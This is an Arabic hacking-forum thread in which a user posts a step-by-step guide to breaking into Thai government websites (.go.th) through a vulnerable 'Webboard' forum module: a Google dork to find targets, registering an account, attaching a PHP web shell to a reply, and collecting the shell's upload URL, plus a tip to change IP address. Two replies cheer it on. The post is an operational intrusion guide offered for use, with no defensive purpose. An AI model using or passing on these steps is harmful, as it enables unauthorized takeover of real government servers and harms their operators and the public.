ثغرة خطيرة لاختراق المواقع الحكومية (Webboard)

[barbaros]

[FONT=&quot]السلام عليكم ورحمة الله وبركاته[/FONT][FONT=&quot].

ثغرة خطيرة مصابة بها مواقع حكومية كثيرة تمكننا من رفع الشيل

Dork:

site:go.th inurl:name=member+file=index

رابط التسجيل

http://www.xxxxx.go.th/index.php?name=member&file=index
http://www.xxxxx.go.th/?name=member&file=index

بعد ذلك نعود الى الصفحة الرئيسية للمنتدى:

http://www.xxxxx.go.th/index.php?name=webboard
http://www.xxxxx.go.th/?name=webboard

نختار أحد المواضيع لنضيف الرد:

http://www.xxxxx.go.th/index.php?name=webboard&file=read&id=49
http://www.xxxxx.go.th/?name=webboard&file=read&id=49

أثناء كتابة الرد يمكننا إرفاق الشيل كما في الصورة:

[/FONT][FONT=&quot]

--------------------------------------------------------------------------

بعد ذلك نعود إلى الموضوع لنشاهد الرد ونتحصل على رابط الشيل كما في الصورة:

والرابط يكون مثل هذا:

http://www.xxxxx.go.th/webboard_upload/1340890810_madspot.php

مبروك !

ملاحظة: يجب تغيير الأيبي لأن الكثير من المواقع الحكومية محضورة في بعض البلدان العربية

بالتوفيق
[/FONT]​

 

[°l||l° نور الظلام °l||l°]

رد: ثغرة خطيرة لاختراق المواقع الحكومية (Webboard)

بالتوفيق لك

 

[vpn_31]

رد: ثغرة خطيرة لاختراق المواقع الحكومية (Webboard)

نايس مع انه أغلب ألمواقع تم اختراقها